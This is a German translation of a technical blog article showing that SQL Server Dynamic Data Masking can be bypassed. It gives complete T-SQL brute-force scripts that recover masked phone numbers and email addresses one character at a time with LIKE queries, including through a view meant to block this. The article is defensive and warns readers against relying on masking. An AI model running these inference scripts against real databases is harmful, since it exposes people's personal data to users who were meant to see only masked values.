Die dynamische Datenmaskierung ist eine Technik, die versucht, sensible Informationen einzuschränken/auszublenden, ohne dass Änderungen an den Anwendungen erforderlich sind. Die Daten in der Datenbank werden nicht wirklich verändert, sondern „on the fly“, so dass bei der Rückgabe der Abfrageergebnisse die entsprechenden Masken angewendet werden. Dadurch ist diese Funktionalität leicht zu implementieren, da sie keine wesentlichen Änderungen erfordert und für die Anwendungen, die die maskierten Daten verwenden, recht transparent ist.

Eine der ersten Überlegungen bei der Verwendung dieser Technik ist, dass sie keine Alternative zur Verschlüsselung darstellt und dass sie gewisse Einschränkungen hat, die sie „gefährlich“ machen können, wenn der Zugriff auf die maskierten Daten direkt erlaubt wird. Wenn wir keine andere Wahl haben, als sie zu verwenden, empfehlen wir dringend die Verwendung von gespeicherten Prozeduren oder Kontrollmechanismen über die Art der Operationen, die auf den Tabellen mit maskierten Daten durchgeführt werden können.

Diese Datenmaskierungsfunktionalität ist ab SQL Server 2016 verfügbar, und standardmäßig stehen uns 4 Maskierungsfunktionen zur Verfügung:

  • Standardfunktion. Diese Funktion führt je nach Art der Daten verschiedene Arten von Maskierungen durch. Wenn es sich bei den zu maskierenden Daten um eine Textzeichenfolge handelt, wird sie durch XXXX ersetzt, bei einer Zahl durch 0, bei einem Datum durch 19000101, usw.
  • E-Mail-Funktion. Diese Funktion behält den Anfangsbuchstaben und das letzte Suffix bei. Zum Beispiel würde test@dominio.com als tXXX@XXXXXXX.com
  • verschleiert werden.

  • Zufallsfunktion. Diese Funktion erzeugt eine Zufallszahl innerhalb eines Bereichs als anzuwendende Maske.
  • „Partielle“ Funktion. Mit dieser Funktion legen wir fest, wie viele Zeichen am Anfang und am Ende einer Zeichenkette wir sichtbar lassen wollen und welches Muster wir für den Rest verwenden. Wenn wir zum Beispiel eine Teilfunktion(0,’XXXX-XXXX-XXXX-‚,4) verwenden, würden wir nur die letzten 4 einer typischen Kreditkarte anzeigen.

In der Azure SQL-Datenbank haben wir auch eine „Kreditkarten“-Funktion, die eine vorkonfigurierte Teilvorlage für Kreditkarten zur Verfügung stellt:

Sobald wir die Möglichkeiten beschrieben haben, sehen wir ein Beispiel, in dem wir eine Tabelle erstellen und die vorherigen Maskierungsfunktionen anwenden, um zu sehen, wie sie funktionieren. Wir beginnen mit der Erstellung einer Datenbank und einer Tabelle, in der mehrere ihrer Spalten mit den oben genannten Funktionen maskiert sind:

USE master
GO
CREATE DATABASE DataMaskingDB
GO
USE DataMaskingDB
GO
CREATE TABLE MaskedTable  
  (ID int IDENTITY PRIMARY KEY,  
   FirstName varchar(100) MASKED WITH (FUNCTION = 'partial(1,"XXXXXXX",0)') NULL,  
   LastName varchar(100) MASKED WITH (FUNCTION = 'partial(1,"XXXXXXX",0)') NULL,  
   Age int MASKED WITH (FUNCTION = 'random(18,100)') NULL,  
   Phone varchar(12) MASKED WITH (FUNCTION = 'default()') NULL,  
   Email varchar(100) MASKED WITH (FUNCTION = 'email()') NULL);

Sobald wir die Tabelle erstellt haben, werden wir einige Testdaten auf die gleiche Weise einfügen, wie wir es in jeder anderen Tabelle tun würden:

-- Insert sample data
INSERT MaskedTable (FirstName, LastName, Age, Phone, Email) VALUES   
('Pepe', 'García', 34, '666777888', 'pepe.garcia@hotmail.com'),  
('Martina', 'González', 45, '677555333', 'mgonzalez@gmail.com'),  
('Lucia', 'Fernández', 52, '633999222', 'luci123@yahoo.es'),  
('Agustín', 'Rodríguez', 47, '644222111', 'arg@ua.es'),  
('Eva', 'López', 25, '655888222', 'evalopez@madrid.org')

Wenn wir als Administratoren mit der Datenbank verbunden sind, wie ich es im Moment bin, sehen wir die Daten ohne Maskierung, wenn wir eine Abfrage auf der Tabelle starten:

-- Admin can read all data unmasked
SELECT * FROM MaskedTable;  

Dies ist daher die erste Einschränkung hinsichtlich der Verwendung in Umgebungen, in denen bestimmte Benutzer mehr Berechtigungen als nötig haben, um die Daten zu lesen. Als nächstes werden wir einen neuen Benutzer anlegen und ihm nur Leserechte geben, aber keine UNMASK-Rechte, die notwendig wären, um die Daten im Klartext zu erhalten:

-- Create an user without UNMASK permissions
CREATE USER MaskedUser WITHOUT LOGIN;  
GRANT SELECT ON MaskedTable to MaskedUser

Indem wir uns als der MaskedUser-Benutzer ausgeben, führen wir die Abfrage erneut aus und erhalten die maskierten Daten:

EXECUTE AS USER='MaskedUser'

-- Masked results
SELECT  * from MaskedTable

Wie könnte der MaskedUser-Benutzer zu diesem Zeitpunkt an die maskierten Informationen gelangen? Die Lösung besteht darin, die korrekten Werte durch einen Brute-Force-Ansatz „abzuleiten“. Im Grunde genommen werden wir versuchen, den richtigen Wert zu erhalten, indem wir zeichenweise Prüfungen durchführen und die Zeichenfolge mit dem richtigen Präfix erstellen, bis wir den tatsächlichen Wert erhalten.

Um die Funktionsweise dieser Technik zu zeigen, werden wir versuchen, das Telefon des Benutzers mit der ID = 4 zu erhalten. Dazu starten wir das folgende Skript mit dem Benutzer MaskedUser:

-- Telephone force brute attack, only numbers
declare @chars varchar(100) = '0123456789'
declare @charindex int =0 
declare @likemask varchar(100) =''
declare @finish bit = 0
declare @ID int = 4
declare @maxlength int = 9

-- Iterate while we don't find a match or we match the maxlength
while (@finish=0 and LEN(@likemask)<@maxlength)
begin
  set @charindex=@charindex+1
  if @charindex>LEN(@chars)
  begin
    set @finish=1
    select 'Character not found, expand @chars array with extra values'
  end
  else
  begin
    set @likemask=@likemask+SUBSTRING(@chars,@charindex,1)
    IF exists (select 1 from MaskedTable where ID=@ID and Phone like @likemask+'%')
    begin
      -- Check exact match
      IF exists (select 1 from MaskedTable where ID=@ID and Phone=@likemask)
      begin
        set @finish=1
        select @likemask HiddenData
      end
      ELSE
      -- Partial match, reset charindex and go for the next character
      set @charindex=0
    end
    else
    begin
      --not match, remove last char and try the next one
      set @likemask=substring(@likemask,1,len(@likemask)-1)
    end
  end
end

Das Ergebnis, das wir erhalten werden, ist genau das Telefon, das wir zu verstecken versuchten:

Der Grund, warum dieser Ansatz funktioniert, ist, dass die Maskierung, um die interne Logik der Verfahren, Prozesse usw. nicht zu brechen, nur die Daten maskiert, die wir direkt an den Kunden zurückgeben. Wie wir sehen, geben wir in diesem Fall die Daten nicht direkt zurück, sondern führen nur einige logische Prüfungen durch, um zu sehen, ob es eine Zeile mit einer bestimmten ID gibt und ob sie eine LIKE-Bedingung erfüllt.

Im Skript haben wir bestimmte Parameter, die wir definieren müssen, wie z.B. die Zeichen, die im Brute-Force-Angriff verwendet werden sollen. In diesem Fall haben wir nur die Zeichen von 0 bis 9 verwendet, aber wir hätten auch Symbole wie Klammern, oder Leerzeichen, Punkte, usw. hinzufügen können. Was das Skript macht, ist, dass jeder Charakter alle Optionen ausprobiert und wenn es feststellt, dass der erste Charakter „richtig“ ist, geht es mit dem nächsten so weiter, bis der Prozess abgeschlossen ist.

Dieselbe Technik kann auch im Fall von E-Mail verwendet werden. In diesem Fall beginnen wir mit der Erzeugung einer ascii-Zeichenkette mit Buchstaben, Zahlen und bestimmten Symbolen (wie dem @, dem Punkt usw.).

-- Email force brute attack using numbers, letters and some symbols
declare @chars varchar(128)
WITH E00(N) AS (SELECT 1 UNION ALL SELECT 1),
    E02(N) AS (SELECT 1 FROM E00 a, E00 b),
    E04(N) AS (SELECT 1 FROM E02 a, E02 b),
    E08(N) AS (SELECT 1 FROM E04 a, E04 b),
    E16(N) AS (SELECT 1 FROM E08 a, E08 b),
    E32(N) AS (SELECT 1 FROM E16 a, E16 b),
cteTally(N) AS (SELECT ROW_NUMBER() OVER (ORDER BY N) FROM E32)
SELECT @chars=string_agg(char(n+37),'')
FROM cteTally
WHERE N <= 85;
select @chars somechars
go

Sobald wir die zu verwendende Zeichenfolge haben, starten wir den gleichen Algorithmus wie im vorherigen Fall, indem wir die Spaltennamen, Längen und Zeichen, die getestet werden sollen, anpassen:

declare @chars varchar(100) = '&''()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz'
declare @charindex int =0 
declare @likemask varchar(100) =''
declare @finish bit = 0
declare @ID int = 4
declare @maxlength int = 50

-- Iterate while we don't find a match or we match the maxlength
while (@finish=0 and LEN(@likemask)<@maxlength)
begin
  set @charindex=@charindex+1
  if @charindex>LEN(@chars)
  begin
    set @finish=1
    select 'Character not found, expand @chars array with extra values'
  end
  else
  begin
    set @likemask=@likemask+SUBSTRING(@chars,@charindex,1)
    IF exists (select 1 from MaskedTable where ID=@ID and Email like @likemask+'%')
    begin
      -- Check exact match
      IF exists (select 1 from MaskedTable where ID=@ID and Email=@likemask)
      begin
        set @finish=1
        select @likemask HiddenData
      end
      ELSE
      -- Partial match, reset charindex and go for the next character
      set @charindex=0
    end
    else
    begin
      --not match, remove last char and try the next one
      set @likemask=substring(@likemask,1,len(@likemask)-1)
    end
  end
end

Daher können wir uns nicht auf Datenmaskierungsfunktionen verlassen, wenn wir dem Benutzer erlauben, beliebigen Code gegen den Server zu starten. Eine Möglichkeit wäre, diese Funktionalität als „Brücke“ zu nutzen, um die Daten zu generieren, auf die schließlich zugegriffen wird. Das heißt, wir könnten zum Beispiel mit MaskedUser einen Klon/Kopie der Tabelle erstellen und diese Tabelle mit den maskierten, aber „materialisierten“ Daten anstelle der Originaltabelle verwenden:

revert

SELECT TOP (0) * into dbo.MaskedTableStatic FROM MaskedTable
GRANT SELECT,INSERT ON dbo.MaskedTableStatic to MaskedUser

EXECUTE AS USER='MaskedUser'
-- Materializar la tabla, crear una copia estática
INSERT INTO dbo.MaskedTableStatic (FirstName,LastName,Age,Phone,Email)
SELECT FirstName,LastName,Age,Phone,Email FROM MaskedTable

SELECT * from dbo.MaskedTableStatic

Dies scheint unpraktisch zu sein, so dass wir denken könnten, dass wir vielleicht durch einen „Trick“ mit der Aussicht, dass wir die Originaltabelle noch verwenden könnten. Stellen wir uns zum Beispiel vor, wir erstellen eine Ansicht wie die untenstehende, in der wir zwei Aufrufe zur „Umkehrung“ hinzufügen, um zu versuchen, den direkten Zugriff auf die Daten in der Basistabelle zu vermeiden:

revert

CREATE VIEW VMaskedTable
AS 
SELECT ID, reverse(reverse(Phone)) Phone,reverse(reverse(Email)) Email FROM MaskedTable
GO
GRANT SELECT ON dbo.VMaskedTable to MaskedUser
GO

EXECUTE AS USER='MaskedUser'

SELECT * FROM dbo.MaskedTable
SELECT * FROM VMaskedTable

Wenn wir die Konsultation über die Ansicht starten, stellen wir fest, dass etwas Seltsames passiert und dass die E-Mail, anders maskiert wird. Wir werden dem Benutzer die Erlaubnis geben, den Ausführungsplan einzusehen, um zu versuchen, festzustellen, was vor sich geht:

revert

GRANT SHOWPLAN TO MaskedUser

EXECUTE AS USER='MaskedUser'

SELECT * FROM dbo.MaskedTable
SELECT * FROM VMaskedTable

Wenn wir die Ausführungspläne beider Abfragen vergleichen, die eine durch Zugriff auf die Ansicht und die andere durch Zugriff auf die Tabelle, stellen wir fest, dass sich die Funktion, die zur Erzeugung des Ausdrucks verwendet wird, ändert, was nicht passieren sollte:

Im Einzelnen sehen wir, dass beim Zugriff auf die direkte Tabelle [Expr1006] = Skalaroperator(DataMask([DataMaskingDB].[dbo].[MaskedTable].E-Mail]),0x0800000000,(2),(1),(0),(0))), während wir im Falle des Zugriffs über die Ansicht [Expr1005] = Skalaroperator(DataMask(reverse(reverse([DataMaskingDB].[dbo].[MaskedTable].[Email])),0x0800000000,(1),(1),(0),(0),(0))) haben. Das heißt, dass aus irgendeinem internen Grund ein Parameter der internen DataMask-Funktion geändert wird, der den Maskierungsprozess durchführt. Wir glauben, dass das Problem/Bug von einer fälschlicherweise verwendeten Ordinalzahl stammen könnte, aber wir erzeugen eine Ansicht mit der gleichen Anzahl von Spalten und das Problem/Bug wird reproduziert:

revert
go
CREATE VIEW VMaskedTable2
AS 
SELECT ID, 'a' a ,'b' b ,12 c,reverse(reverse(Phone)) Phone,reverse(reverse(Email)) Email FROM MaskedTable
GO
GRANT SELECT ON dbo.VMaskedTable2 to MaskedUser
GO

EXECUTE AS USER='MaskedUser'
-- Masked results over the view with reverse/reverse phone number
SELECT  * from VMaskedTable2

Daher muss das Problem durch das Hinzufügen der umgekehrten Funktionen verursacht werden, die irgendwie die Generierung des Ausführungsplans mit der richtigen Datenmaskierung beeinflussen.

Wie auch immer, wir sehen, dass die Maskierungsfunktion später auf die Anwendung der umgekehrten Funktionen angewendet wird, was uns ein gewisses Gefühl geben könnte, den direkten Zugriff auf die Spalte zu „vermeiden“. Wenn dies zu 100% wahr wäre, sollte der vorherige Algorithmus nicht in der Lage sein, die Daten zu demaskieren, wenn wir die VMaskedTable-Ansicht verwenden, da es nicht funktionieren würde, wenn die LIKE-Bedingungen auf diese maskierten Daten angewendet würden.

Wenn wir jedoch den geänderten Code erneut starten, so dass er die Ansicht verwendet, stellen wir fest, dass er funktioniert, und wir erhalten die Daten sowohl für das Telefon als auch für die E-Mail klar und deutlich:

-- Telephone force brute attack, only numbers
declare @chars varchar(100) = '0123456789'
declare @charindex int =0 
declare @likemask varchar(100) =''
declare @finish bit = 0
declare @ID int = 4
declare @maxlength int = 9

-- Iterate while we don't find a match or we match the maxlength
while (@finish=0 and LEN(@likemask)<@maxlength)
begin
  set @charindex=@charindex+1
  if @charindex>LEN(@chars)
  begin
    set @finish=1
    select 'Character not found, expand @chars array with extra values'
  end
  else
  begin
    set @likemask=@likemask+SUBSTRING(@chars,@charindex,1)
    IF exists (select 1 from VMaskedTable where ID=@ID and Phone like @likemask+'%')
    begin
      -- Check exact match
      IF exists (select 1 from VMaskedTable where ID=@ID and Phone=@likemask)
      begin
        set @finish=1
        select @likemask HiddenData
      end
      ELSE
      -- Partial match, reset charindex and go for the next character
      set @charindex=0
    end
    else
    begin
      --not match, remove last char and try the next one
      set @likemask=substring(@likemask,1,len(@likemask)-1)
    end
  end
end


declare @chars varchar(100) = '&''()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz'
declare @charindex int =0 
declare @likemask varchar(100) =''
declare @finish bit = 0
declare @ID int = 4
declare @maxlength int = 50

-- Iterate while we don't find a match or we match the maxlength
while (@finish=0 and LEN(@likemask)<@maxlength)
begin
  set @charindex=@charindex+1
  if @charindex>LEN(@chars)
  begin
    set @finish=1
    select 'Character not found, expand @chars array with extra values'
  end
  else
  begin
    set @likemask=@likemask+SUBSTRING(@chars,@charindex,1)
    IF exists (select 1 from VMaskedTable where ID=@ID and Email like @likemask+'%')
    begin
      -- Check exact match
      IF exists (select 1 from VMaskedTable where ID=@ID and Email=@likemask)
      begin
        set @finish=1
        select @likemask HiddenData
      end
      ELSE
      -- Partial match, reset charindex and go for the next character
      set @charindex=0
    end
    else
    begin
      --not match, remove last char and try the next one
      set @likemask=substring(@likemask,1,len(@likemask)-1)
    end
  end
end

Der Grund dafür liegt in der Erstellung des Ausführungsplans für das Conditional (IF), den wir im Skript haben. Wenn wir uns den Ausführungsplan ansehen, können wir sehen, wie er mit den Daten ohne Maskierung funktioniert, indem wir die beiden Umkehrungen anwenden, aber nicht die DataMask, da die Daten nicht wirklich an den Kunden „zurückgegeben“ werden, was es uns ermöglicht, trotz der Anwendung von Zwischenfunktionen weiterhin dieselbe Technik zur Ermittlung der Daten zu verwenden:

Leider stellen wir durch das Aufzeigen dieser Art von Inferenztechniken fest, dass sich die Menschen im Allgemeinen nicht über das tatsächliche Risiko, das sie eingehen, im Klaren sind. In dieser Art von Situation, in der mit sensiblen Daten umgegangen wird, empfehlen wir, dass ähnliche „dynamische“ Funktionen oder Systeme niemals verwendet werden sollten, sondern dass die Möglichkeit des Zugriffs auf die Daten auf physischer Ebene direkt vermieden werden sollte. Bevor wir beispielsweise sensible Daten (Tabelle, Zeile, Spalte usw.) in eine Umgebung verschieben/kopieren, in der sie gefährdet sein könnten, müssen wir eine solche Datenverschiebung vermeiden und damit das Problem an der Wurzel packen. Es wäre nicht gültig, eine Wiederherstellung der Produktionsdatenbank vorzunehmen und dann Operationen zur Aktualisierung von Spalten durchzuführen, da es möglich sein könnte, die sensiblen Daten aus dem Transaktionsprotokoll wiederherzustellen. Wir können auch den Prozessen des Löschens von Zeilen nicht trauen, da dieser Prozess nicht synchron ist und wir keine Garantie haben, dass die in SQL Server als gelöscht markierten Datensätze (Ghost-Records) sofort gelöscht werden (oder sogar, dass dies geschieht, wenn wir z.B. das Trace-Flag 661 aktivieren, das diesen Prozess deaktiviert).

Kurz gesagt, wir müssen uns sehr klar darüber sein, was die Datenmaskierung bietet und was sie nicht bietet, um zu verhindern, dass die Informationen, die wir maskieren/verbergen wollen, sichtbar werden. Wir müssen auch um jeden Preis vermeiden, dass die Daten „im Klartext“ in irgendeiner Weise zwischen den Umgebungen weitergegeben werden, weder in Backups, noch in Tabellen-Dumps, noch über das Netzwerk usw., um zu vermeiden, dass die bloße Existenz solcher Daten eine „Lücke“ hinterlassen kann, die jemandem mit ausreichendem Wissen den Zugriff darauf ermöglicht.

Originaltext: Ruben Garrigos: „Data Masking de datos sensibles… piénsalo dos veces“